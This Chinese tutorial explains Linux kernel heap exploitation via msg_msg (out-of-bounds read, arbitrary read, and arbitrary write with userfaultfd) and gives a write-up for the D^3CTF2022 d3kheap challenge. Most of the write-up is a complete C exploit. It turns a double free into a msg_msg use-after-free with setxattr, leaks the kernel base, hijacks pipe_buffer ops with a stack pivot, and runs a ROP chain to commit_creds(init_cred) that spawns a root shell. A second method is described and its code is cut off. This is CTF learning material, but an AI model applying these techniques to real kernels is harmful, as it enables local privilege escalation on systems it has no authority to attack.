其中 ksys_msgrcv 传入的是 do_msg_fill 函数指针。

long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
		 long msgtyp, int msgflg)
{
	return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}

通过 msgrcv 系统调用我们可以从指定的消息队列中接收指定大小的消息,内核首先会调用 list_del() 将其从 msg_queue 的双向链表上 unlink,之后调用 msg_handlerdo_msg_fill 函数处理信息,最后再调用 free_msg() 释放 msg_msg 单向链表上的所有消息。

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
    //...
    		list_del(&msg->m_list);
    //...
    		goto out_unlock0;
	//...
out_unlock0:
	ipc_unlock_object(&msq->q_perm);
	wake_up_q(&wake_q);
out_unlock1:
	rcu_read_unlock();
	if (IS_ERR(msg)) {
		free_copy(copy);
		return PTR_ERR(msg);
	}

	bufsz = msg_handler(buf, msg, bufsz);
	free_msg(msg);

	return bufsz;
}

do_msg_fill 函数内容如下:

static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
	struct msgbuf __user *msgp = dest;
	size_t msgsz;

	if (put_user(msg->m_type, &msgp->mtype))
		return -EFAULT;

	msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
	if (store_msg(msgp->mtext, msg, msgsz))
		return -EFAULT;
	return msgsz;
}

在该函数中最终调用 store_msg() 完成消息向用户空间的拷贝,拷贝循环的终止条件是单向链表末尾的 NULL 指针,拷贝数据的长度主要依赖的是 msg_msgm_ts 成员

int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
	size_t alen;
	struct msg_msgseg *seg;

	alen = min(len, DATALEN_MSG);
	if (copy_to_user(dest, msg + 1, alen))
		return -1;

	for (seg = msg->next; seg != NULL; seg = seg->next) {
		len -= alen;
		dest = (char __user *)dest + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_to_user(dest, seg + 1, alen))
			return -1;
	}
	return 0;
}

读取但不释放(MSG_COPY):msgrcv

当我们在调用 msgrcv 接收消息时,相应的 msg_msg 链表便会被释放,但阅读源码我们会发现,当我们在调用 msgrcv 时若设置了 MSG_COPY 标志位,则内核会将 message 拷贝一份后再拷贝到用户空间,原双向链表中的 message 并不会被 unlink,从而我们便可以多次重复地读取同一个 msg_msg 链条中数据。

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
	//...

	if (msgflg & MSG_COPY) {
		if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
			return -EINVAL;
		copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
		if (IS_ERR(copy))
			return PTR_ERR(copy);
	}
	//...

	for (;;) {
		//...
		msg = find_msg(msq, &msgtyp, mode);
		if (!IS_ERR(msg)) {
			/*
			 * Found a suitable message.
			 * Unlink it from the queue.
			 */
			if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
				msg = ERR_PTR(-E2BIG);
				goto out_unlock0;
			}
			/*
			 * If we are copying, then do not unlink message and do
			 * not update queue parameters.
			 */
			if (msgflg & MSG_COPY) {
				msg = copy_msg(msg, copy);
				goto out_unlock0;
			}

			list_del(&msg->m_list);

这里需要注意的是当我们使用 MSG_COPY 标志位进行数据泄露时,其寻找消息的逻辑并非像普通读取消息那样比对 msgtyp, 而是以 msgtyp 作为读取的消息序号(即 msgtyp == 0 表示读取第 0 条消息,以此类推)。

static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
	struct msg_msg *msg, *found = NULL;
	long count = 0;

	list_for_each_entry(msg, &msq->q_messages, m_list) {
		if (testmsg(msg, *msgtyp, mode) &&
		    !security_msg_queue_msgrcv(&msq->q_perm, msg, current,
					       *msgtyp, mode)) {
			if (mode == SEARCH_LESSEQUAL && msg->m_type != 1) {
				*msgtyp = msg->m_type - 1;
				found = msg;
			} else if (mode == SEARCH_NUMBER) {//MSG_COPY 对应分支
				if (*msgtyp == count)
					return msg;
			} else
				return msg;
			count++;
		}
	}

	return found ?: ERR_PTR(-EAGAIN);
}

static inline int convert_mode(long *msgtyp, int msgflg)
{
	if (msgflg & MSG_COPY)
		return SEARCH_NUMBER;
    ...
}

	mode = convert_mode(&msgtyp, msgflg);
    ...
	msg = find_msg(msq, &msgtyp, mode);

同样的,对于 MSG_COPY 而言,数据的拷贝使用的是 copy_msg() 函数,其会比对源消息的 m_ts 是否大于存储拷贝的消息的 m_ts ,若大于则拷贝失败,而后者则为我们传入 msgrcv()msgsz,因此若我们仅读取单条消息则需要保证两者相等

struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
	struct msg_msgseg *dst_pseg, *src_pseg;
	size_t len = src->m_ts;
	size_t alen;

	if (src->m_ts > dst->m_ts)// 有个 size 检查
		return ERR_PTR(-EINVAL);

	alen = min(len, DATALEN_MSG);
	memcpy(dst + 1, src + 1, alen);

	for (dst_pseg = dst->next, src_pseg = src->next;
	     src_pseg != NULL;//以源 msg 链表尾为终止
	     dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {

		len -= alen;
		alen = min(len, DATALEN_SEG);
		memcpy(dst_pseg + 1, src_pseg + 1, alen);
	}

	dst->m_type = src->m_type;
	dst->m_ts = src->m_ts;

	return dst;
}

数据泄露

  • 越界数据读取
    在拷贝数据时对长度的判断主要依靠的是 msg_msg->m_ts,我们不难想到的是:若是我们能够控制一个 msg_msg 的 header,将其 m_sz 成员改为一个较大的数,我们就能够越界读取出最多将近一张内存页大小的数据
  • 任意地址读
    对于大于一张内存页的数据而言内核会在 msg_msg 的基础上再补充加上 msg_msgseg 结构体,形成一个单向链表,我们不难想到的是:若是我们能够同时劫持 msg_msg->m_tsmsg_msg->next,我们便能够完成内核空间中的任意地址读
    但这个方法有一个缺陷,无论是 MSG_COPY 还是常规的接收消息,其拷贝消息的过程的判断主要依据还是单向链表的 next 指针,因此若我们需要完成对特定地址向后的一块区域的读取,我们需要保证该地址上的数据为 NULL 。
  • 基于堆地址泄露的堆上连续内存搜索
    虽然我们不能直接读取当前 msg_msg 的 header,但我们不难想到的是:我们可以通过喷射大量的 msg_msg,从而利用越界读来读取其他 msg_msg 的 header,通过其双向链表成员泄露出一个“堆”上地址。
    由于任意地址读要求伪造的 msg_segnext 为 NULL,因此我们不仅需要一个堆地址,还需要这个堆地址对应的 8 字节数据为 NULL 。由于 msg_msg 是双向链表,我们在越界读其他 msg_msg 的 header并且这个 msg_msg 所在双向链表只有它一个msg_msg 时就可以根据链表指针找到该 msg_msg 对应的 msg_queue
    而由msg_queue 的结构可知,msg_msg 指向的是 msg_queueq_messages ,而 q_messages 往前 8 字节是 q_lrpid 在未使用 msgrcv 接收消息时为 NULL 。也就是说我们得到了一个堆上地址同时这个地址上的数据为 NULL 。
    在我们完成对“堆”上地址的泄露之后,我们可以在每一次读取时挑选已知数据为 NULL 的区域作为 next->next 以避免 kernel panic,以此获得连续的搜索内存的能力,不过这需要我们拥有足够次数的更改 msg_msg 的 header 的能力。

任意地址写(结合 userfaultfd 或 FUSE 完成 race condition write)

当我们调用 msgsnd 系统调用时,其会调用 load_msg() 将用户空间数据拷贝到内核空间中,首先是调用 alloc_msg() 分配 msg_msg 单向链表,之后才是正式的拷贝过程,即空间的分配与数据的拷贝是分开进行的。

我们不难想到的是,在拷贝时利用 userfaultfd/FUSE 将拷贝停下来,在子进程中篡改 msg_msgnext 指针,在恢复拷贝之后便会向我们篡改后的目标地址上写入数据,从而实现任意地址写。
在这里插入图片描述

例题:D^3CTF2022 - d3kheap

附件下载链接

存在一次 0x400 大小 object 的 double free 。

方法1

转换成 msg_msg 结构体的 UAF,利用 setxattr 对其进行修改。实测 0x400 的 object 的 free list 偏移较大,不会对利用造成影响。

首先 setxattr 修改 msg_msg 越界读泄露 msg_queue 地址。
在这里插入图片描述
setxattr 再次修改 msg_msg 任意地址读 msg_queue 泄露 double free 的 msg_msg 地址用于之后伪造 pipe_bufferops 指针。
在这里插入图片描述
之后 setxattr 多次修改 msg_msg 任意地址读直至泄露内核地址。
在这里插入图片描述
之后将 msg_msg 结构体的 UAF 转换为 pipe_buffer 结构体的 UAF 然后劫持控制流+栈迁移执行 ROP 提权。由于有 double free 检测,因此需要先释放一个其他的 msg_msg 再释放被劫持的 msg_msg 。之后创建 pipe 劫持该 msg_msg 。利用 setxattr 修改 pipe_buffer 为下图所示后关闭 pipe 劫持程序执行流。
在这里插入图片描述
栈迁移有如下关键 gadget ,当调用 ops->release 函数时 rsi 寄存器指向 pipe_buffer 因此可以将栈迁移至 &pipe_buffer + 0x20 位置。在该位置构造提权 rop 完成提权。

.text:FFFFFFFF812DBEDE push    rsi
.text:FFFFFFFF812DBEDF pop     rsp
.text:FFFFFFFF812DBEE0 test    edx, edx
.text:FFFFFFFF812DBEE2 jle     loc_FFFFFFFF812DBF88
...
.text:FFFFFFFF812DBF88 ud2
.text:FFFFFFFF812DBF8A mov     eax, 0FFFFFFEAh
.text:FFFFFFFF812DBF8F jmp     short loc_FFFFFFFF812DBF2C
...
.text:FFFFFFFF812DBF2C pop     rbx
.text:FFFFFFFF812DBF2D pop     r12
.text:FFFFFFFF812DBF2F pop     r13
.text:FFFFFFFF812DBF31 pop     rbp
.text:FFFFFFFF812DBF32 retn
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <stdbool.h>
#include <sys/xattr.h>
#include<ctype.h>

void bind_core(int core) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_shell() { system("cat flag;/bin/sh"); }

struct list_head {
    struct list_head *next, *prev;
};

/* one msg_msg structure for each message */
struct msg_msg {
    struct list_head m_list;
    long m_type;
    size_t m_ts;        /* message text size */
    void *next;         /* struct msg_msgseg *next; */
    void *security;     /* NULL without SELinux */
    /* the actual message follows immediately */
};

struct msg_msgseg {
    struct msg_msgseg *next;
    /* the next part of the message follows immediately */
};

#ifndef MSG_COPY
#define MSG_COPY 040000
#endif

#define PAGE_SIZE 0x1000
#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG    ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

int get_msg_queue(void) {
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

long read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    ((struct msgbuf *) msgp)->mtype = msgtyp;
    return msgsnd(msqid, msgp, msgsz, 0);
}

long peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void build_msg(void *msg, uint64_t m_list_next, uint64_t m_list_prev,
               uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security) {
    ((struct msg_msg *) msg)->m_list.next = (void *) m_list_next;
    ((struct msg_msg *) msg)->m_list.prev = (void *) m_list_prev;
    ((struct msg_msg *) msg)->m_type = (long) m_type;
    ((struct msg_msg *) msg)->m_ts = m_ts;
    ((struct msg_msg *) msg)->next = (void *) next;
    ((struct msg_msg *) msg)->security = (void *) security;
}

struct {
    long mtype;
    char mtext[DATALEN_MSG + DATALEN_SEG];
} oob_msgbuf;

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    /*
     * ->confirm() verifies that the data in the pipe buffer is there
     * and that the contents are good. If the pages in the pipe belong
     * to a file system, we may need to wait for IO completion in this
     * hook. Returns 0 for good, or a negative error value in case of
     * error.  If not present all pages are considered good.
     */
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * When the contents of this pipe buffer has been completely
     * consumed by a reader, ->release() is called.
     */
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * Attempt to take ownership of the pipe buffer and its contents.
     * ->try_steal() returns %true for success, in which case the contents
     * of the pipe (the buf->page) is locked and now completely owned by the
     * caller. The page may then be transferred to a different mapping, the
     * most often used case is insertion into different file address space
     * cache.
     */
    int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * Get a reference to the pipe buffer.
     */
    int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

bool is_kernel_text_addr(size_t addr) {
    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
//    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}

bool is_dir_mapping_addr(size_t addr) {
    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}

#define INVALID_KERNEL_OFFSET 0x1145141919810

const size_t kernel_addr[] = {
        0xffffffff812b76e9,
        0xffffffff82101980,
        0xffffffff82e77440,
        0xffffffff82411de7,
        0xffffffff817894f0,
        0xffffffff833fac90,
        0xffffffff823c3785,
        0xffffffff810b2990,
        0xffffffff82e49900,
        0xffffffff8111b8b4,
        0xffffffff8204ac40,
        0xffffffff8155c320,
        0xffffffff810d6ee0,
        0xffffffff810e55e0,
        0xffffffff82f05e80,
        0xffffffff82ec0260,
        0xffffffff8157a030,
        0xffffffff81578190,
        0xffffffff81531b30,
        0xffffffff81531b00,
        0xffffffff8153b150,
        0xffffffff8153b2e0,
        0xffffffff8149e380,
        0xffffffff8149e3a0,
        0xffffffff814a3840,
        0xffffffff814a38c0,
        0xffffffff8149ecb0,
        0xffffffff8149ece0,
        0xffffffff814a6140,
        0xffffffff814a6170,
        0xffffffff814a94a0,
        0xffffffff814a9550,
        0xffffffff814a2f60,
        0xffffffff814a2f80,
        0xffffffff814a2a00,
        0xffffffff814a2a30,
        0xffffffff813c3240,
        0xffffffff813c33f0,
        0xffffffff813b6ed0,
        0xffffffff813b6f80,
        0xffffffff82e49580,
        0xffffffff824090ba,
        0xffffffff82e44340,
        0xffffffff810c36d0,
        0xffffffff810c3770,
        0xffffffff832d3298,
        0xffffffff81534480,
        0xffffffff81537ae0,
        0xffffffff81537bb0,
        0xffffffff81537e70,
        0xffffffff81537dc0,
        0xffffffff81533f90,
        0xffffffff81537a50,
        0xffffffff81537a80,
        0xffffffff81537bd0,
        0xffffffff81537b50,
        0xffffffff81537b10,
        0xffffffff82074bc0,
        0xffffffff82e40e00,
        0xffffffff82e40e10,
        0xffffffff82e41b30,
        0xffffffff82e41b30,
        0xffffffff82e41b20,
        0xffffffff82074bc0,
        0xffffffff823f7315,
        0xffffffff82ee55e8,
        0xffffffff81b03c50,
        0xffffffff82ee4fc0,
        0xffffffff824a50a6,
        0xffffffff82ee5504,
        0xffffffff810adc40,
        0xffffffff823cbe01,
        0xffffffff82ee55ec,
        0xffffffff810adc40,
        0xffffffff824a11c0,
        0xffffffff82ee55f0,
        0xffffffff810add80,
        0xffffffff824a11e3,
        0xffffffff82ee55f4,
        0xffffffff810add80,
        0xffffffff8249da10,
        0xffffffff82ee55f8,
        0xffffffff810add80,
        0xffffffff824a1234,
        0xffffffff82ee55fc,
        0xffffffff810adc40,
        0xffffffff824a1242,
        0xffffffff82ee5600,
        0xffffffff810add80,
        0xffffffff824a1257,
        0xffffffff82ee5604,
        0xffffffff810adc40,
        0xffffffff824a11d0,
        0xffffffff82ee55f0,
        0xffffffff810ade00,
        0xffffffff824a66ff,
        0xffffffff82ee5664,
        0xffffffff810adc70,
        0xffffffff82049b20,
        0xffffffff82049b24,
        0xffffffff81322c60,
        0xffffffff81322c80,
        0xffffffff813250b0,
        0xffffffff81325110,
        0xffffffff8131cb00,
        0xffffffff8131cb20,
        0xffffffff81325070,
        0xffffffff813250b0,
        0xffffffff81325220,
        0xffffffff81325270,
        0xffffffff81322d60,
        0xffffffff81322d90,
        0xffffffff81322bb0,
        0xffffffff81322bd0,
        0xffffffff8132f9f0,
        0xffffffff8132fa20,
        0xffffffff8132fa80,
        0xffffffff8132fab0,
        0xffffffff813228c0,
        0xffffffff813228f0,
        0xffffffff81325160,
        0xffffffff813251d0,
        0xffffffff813228a0,
        0xffffffff813228c0,
        0xffffffff81319b00,
        0xffffffff81319b20,
        0xffffffff81319c60,
        0xffffffff81319d80,
        0xffffffff81321cf0,
        0xffffffff81321d10,
        0xffffffff81319b40,
        0xffffffff81319c60,
        0xffffffff81321fd0,
        0xffffffff81321ff0,
        0xffffffff81330b90,
        0xffffffff81330be0,
        0xffffffff813242b0,
        0xffffffff81324480,
        0xffffffff81327ed0,
        0xffffffff81327ef0,
        0xffffffff813220b0,
        0xffffffff813220d0,
        0xffffffff81322680,
        0xffffffff813226a0,
        0xffffffff813252d0,
        0xffffffff81325340,
        0xffffffff8132f340,
        0xffffffff8132f360,
        0xffffffff81322b00,
        0xffffffff81322b20,
        0xffffffff81330b30,
        0xffffffff81330b90,
        0xffffffff81319ac0,
        0xffffffff81319ae0,
        0xffffffff81327e70,
        0xffffffff81327e90,
        0xffffffff81322ae0,
        0xffffffff81322b00,
        0xffffffff8131cae0,
        0xffffffff8131cb00,
        0xffffffff81319ae0,
        0xffffffff81319b00,
        0xffffffff8132fa20,
        0xffffffff8132fa50,
        0xffffffff820b97c0,
        0xffffffff81714cf0,
        0xffffffff817144e0,
        0xffffffff82dca8c0,
        0xffffffff82ee5e90,
        0xffffffff813578e0,
        0xffffffff810c5370,
        0xffffffff834abf40,
        0xffffffff812620e0,
        0xffffffff824a9b51,
        0xffffffff8204b0a0,
        0xffffffff82eda220,
};

size_t kernel_offset_query(size_t kernel_text_leak) {
    if (!is_kernel_text_addr(kernel_text_leak)) {
        return INVALID_KERNEL_OFFSET;
    }
    for (int i = 0; i < sizeof(kernel_addr) / 8; i++) {
        if (!((kernel_text_leak ^ kernel_addr[i]) & 0xFFF) && !((kernel_text_leak - kernel_addr[i]) & 0xFFFFF)) {
            return kernel_text_leak - kernel_addr[i];
        }
    }
    printf("[-] unknown kernel addr: %p\n", kernel_text_leak);
    return INVALID_KERNEL_OFFSET;
}

size_t search_kernel_offset(void *buf, int len) {
    size_t *search_buf = buf;
    for (int i = 0; i < len / 8; i++) {
        size_t kernel_offset = kernel_offset_query(search_buf[i]);
        if (kernel_offset != INVALID_KERNEL_OFFSET) {
            printf("[+] kernel leak addr: %p\n", search_buf[i]);
            printf("[+] kernel offset: %p\n", kernel_offset);
            return kernel_offset;
        }
    }
    return INVALID_KERNEL_OFFSET;
}

int d3heap_fd;

void chunk_add() {
    ioctl(d3heap_fd, 0x1234);
}

void chunk_delete() {
    ioctl(d3heap_fd, 0xdead);
}

#define HEAP_SIZE 1024
#define MSG_QUE_NUM 5

struct {
    long mtype;
    char mtext[HEAP_SIZE - sizeof(struct msg_msg)];
} msgbuf;

char fake_msg[HEAP_SIZE];

size_t init_cred = 0xffffffff82c6d580;
size_t commit_creds = 0xffffffff810d25c0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00ff0;
size_t pop_rdi_ret = 0xffffffff810938f0;
size_t push_rsi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff812dbede;

int main() {
    bind_core(0);
    save_status();
    d3heap_fd = open("/dev/d3kheap", O_RDONLY);

    chunk_add();
    chunk_delete();
    int msqid[MSG_QUE_NUM];
    for (int i = 0; i < MSG_QUE_NUM; i++) {
        if ((msqid[i] = get_msg_queue()) < 0) {
            puts("[-] mdgget failed.");
            exit(-1);
        }
        memset(msgbuf.mtext, 'A' + (i % 26), sizeof(msgbuf.mtext));
        msgbuf.mtype = i + 1;
        if (write_msg(msqid[i], &msgbuf, sizeof(msgbuf.mtext), i + 1) < 0) {
            puts("[-] msgnd failed.");
            exit(-1);
        }
    }

    chunk_delete();
    memset(fake_msg, '#', sizeof(fake_msg));
    build_msg(fake_msg, 0, 0, 0, DATALEN_MSG, 0, 0);
    setxattr("/flag", "sky123", fake_msg, HEAP_SIZE, 0);
    if (peek_msg(msqid[0], &oob_msgbuf, DATALEN_MSG, 0) < 0) {
        puts("[-] msgrcv failed.");
        return -1;
    }
    printf("[*] msgbuf->mtype: %ld\n", oob_msgbuf.mtype);
    qword_dump("leak msg_queue addr from msg_msg", oob_msgbuf.mtext, DATALEN_MSG);
    size_t kernel_offset = INVALID_KERNEL_OFFSET;
    size_t msg_queue_addr = 0;
    size_t msg_msg_offset;
    int msg_queue_index = -1;
    for (int i = sizeof(msgbuf.mtext); i < DATALEN_MSG; i += 8) {
        struct msg_msg *msg_msg = (struct msg_msg *) &oob_msgbuf.mtext[i];
        if (is_dir_mapping_addr((size_t) msg_msg->m_list.next)
            && msg_msg->m_list.next == msg_msg->m_list.prev
            && msg_msg->m_ts == sizeof(msgbuf.mtext)
            && msg_msg->m_type >= 2 && msg_msg->m_type <= MSG_QUE_NUM) {
            msg_queue_addr = (size_t) msg_msg->m_list.next;
            msg_msg_offset = i + sizeof(struct msg_msg);
            msg_queue_index = (int) msg_msg->m_type - 1;
            break;
        }
    }
    kernel_offset = search_kernel_offset(&oob_msgbuf.mtext[sizeof(msgbuf.mtext)], DATALEN_MSG - sizeof(msgbuf.mtext));
    if (msg_queue_addr) {
        printf("[+] msg_queue addr: %p\n", msg_queue_addr);
        printf("[*] msg_queue index: %d\n", msg_queue_index);
    } else {
        puts("[-] failed to leak heap.");
        exit(-1);
    }

    build_msg(fake_msg, 0, 0, 0, DATALEN_MSG + DATALEN_SEG, msg_queue_addr - 8, 0);
    setxattr("/flag", "sky123", fake_msg, HEAP_SIZE, 0);
    if (peek_msg(msqid[0], &oob_msgbuf, DATALEN_MSG + DATALEN_SEG, 0) < 0) {
        puts("[-] msgrcv failed.");
        return -1;
    }
    printf("[*] msgbuf->mtype: %ld\n", oob_msgbuf.mtype);
    qword_dump("leak msg_msg addr from msg_queue", &oob_msgbuf.mtext[DATALEN_MSG], DATALEN_SEG);
    if (kernel_offset == INVALID_KERNEL_OFFSET) {
        kernel_offset = search_kernel_offset(&oob_msgbuf.mtext[DATALEN_MSG], DATALEN_SEG);
    }
    size_t msg_msg_addr = *(size_t *) &oob_msgbuf.mtext[DATALEN_MSG];
    printf("[+] msg_msg addr: %p\n", msg_msg_addr);

    size_t cur_search_addr = msg_msg_addr - 8;
    while (kernel_offset == INVALID_KERNEL_OFFSET) {
        printf("[*] current searching addr: %p\n", cur_search_addr);
        build_msg(fake_msg, 0, 0, 0, DATALEN_MSG + DATALEN_SEG, cur_search_addr, 0);
        setxattr("/flag", "sky123", fake_msg, HEAP_SIZE, 0);
        if (peek_msg(msqid[0], &oob_msgbuf, DATALEN_MSG + DATALEN_SEG, 0) < 0) {
            puts("[-] msgrcv failed.");
            return -1;
        }
        printf("[*] msgbuf->mtype: %ld\n", oob_msgbuf.mtype);
        qword_dump("leak kernel addr form heap space", &oob_msgbuf.mtext[DATALEN_MSG], DATALEN_SEG);
        kernel_offset = search_kernel_offset(&oob_msgbuf.mtext[DATALEN_MSG], DATALEN_SEG);
        if (kernel_offset != INVALID_KERNEL_OFFSET) {
            break;
        }
        size_t msg_offset = -1;
        for (int i = DATALEN_MSG + DATALEN_SEG - 8; i >= DATALEN_MSG; i -= 8) {
            if (!*(size_t *) &oob_msgbuf.mtext[i]) {
                msg_offset = i - DATALEN_MSG;
                break;
            }
        }
        if (msg_offset == -1) {
            puts("[-] failed to find next msg.");
            exit(-1);
        }
        cur_search_addr += msg_offset;
    }

    init_cred += kernel_offset;
    commit_creds += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode += kernel_offset;
    pop_rdi_ret += kernel_offset;
    push_rsi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_rbp_ret += kernel_offset;

    build_msg(fake_msg, msg_msg_addr + 0x5000, msg_msg_addr + 0x5000, 0, sizeof(msgbuf.mtext), 0, 0);
    setxattr("/flag", "sky123", fake_msg, HEAP_SIZE, 0);

    if (read_msg(msqid[msg_queue_index], &msgbuf, sizeof(msgbuf.mtext), 0) < 0) {
        puts("[-] msgrcv failed.");
        return -1;
    }
    if (read_msg(msqid[0], &msgbuf, sizeof(msgbuf.mtext), 0) < 0) {
        puts("[-] msgrcv failed.");
        return -1;
    }

    int pipe_fd[2];
    pipe(pipe_fd);
    pipe((int[2]) {});

    size_t pipe_buffer_addr = msg_msg_addr - msg_msg_offset;
    printf("[+] pipe_buffer addr: %p\n", pipe_buffer_addr);
    struct pipe_buffer *pipe_buf = (void *) &fake_msg;
    pipe_buf->ops = (void *) (pipe_buffer_addr + 0x100);
    ((struct pipe_buf_operations *) &fake_msg[0x100])->release = (void *) push_rsi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;

    size_t *rop = (size_t *) &fake_msg[0x20];
    int rop_idx = 0;
    rop[rop_idx++] = pop_rdi_ret;
    rop[rop_idx++] = init_cred;
    rop[rop_idx++] = commit_creds;
    rop[rop_idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[rop_idx++] = 0;
    rop[rop_idx++] = 0;
    rop[rop_idx++] = (size_t) get_shell;
    rop[rop_idx++] = user_cs;
    rop[rop_idx++] = user_rflags;
    rop[rop_idx++] = user_sp;
    rop[rop_idx++] = user_ss;

    setxattr("/flag", "sky123", pipe_buf, HEAP_SIZE, 0);
    close(pipe_fd[0]);
    close(pipe_fd[1]);

    return 0;
}

方法 2

与第一种方法不同,第二种方法相比修改 msg_msg 的结构体由 setxattr 换成了 sk_buff 。由于 sk_buff 不会被立即释放因此可以使用堆喷,在真实环境中成功率更高。

和第一种方法一样利用 msg_msg 劫持释放的 object 。不过这里由于采用 msg_msg 堆喷的方式劫持,因此不知道哪个 msg_msg 劫持了 object 。
一种解决方法是再次释放 object,然后使用 sk_buff 堆喷申请回来,同时修改 msg_msgm_ts 为一个很大的值。当获取 msg_msg 中的数据时,在 copy_msg 函数中如果我们用于读取的 buffer 的大小小于 m_ts 会返回异常,根据这个可以判断出那个 msg_msg 劫持了 object 。

struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
    ...
	if (src->m_ts > dst->m_ts)// 有个 size 检查
		return ERR_PTR(-EINVAL);
	...
}

之后参考第一种方法泄露 msg_msg 的地址,之后修复并释放 msg_msg 然后堆喷 pipe_buffer 劫持。
读取 sk_buf 泄露 pipe_buffer->ops 从而泄露内核基址。然后参考方法 1 修改 pipe_buffer 提权。

由于 sk_buff 既可以写又可以读并且不会立即释放,相对于第一种方法只能 msg_msg 读,setxattr 写来说利用方式更加容易,可以借助堆喷提升成功率,对利用环境要求更小。

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <stdbool.h>
#include<ctype.h>

void bind_core(int core) {
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

struct list_head {
    struct list_head *next, *prev;
};

/* one msg_msg structure for each message */
struct msg_msg {
    struct list_head m_list;
    long m_type;
    size_t m_ts;        /* message text size */
    void *next;         /* struct msg_msgseg *next; */
    void *security;     /* NULL without SELinux */
    /* the actual message follows immediately */
};

struct msg_msgseg {
    struct msg_msgseg *next;
    /* the next part of the message follows immediately */
};

#ifndef MSG_COPY
#define MSG_COPY 040000
#endif

#define PAGE_SIZE 0x1000
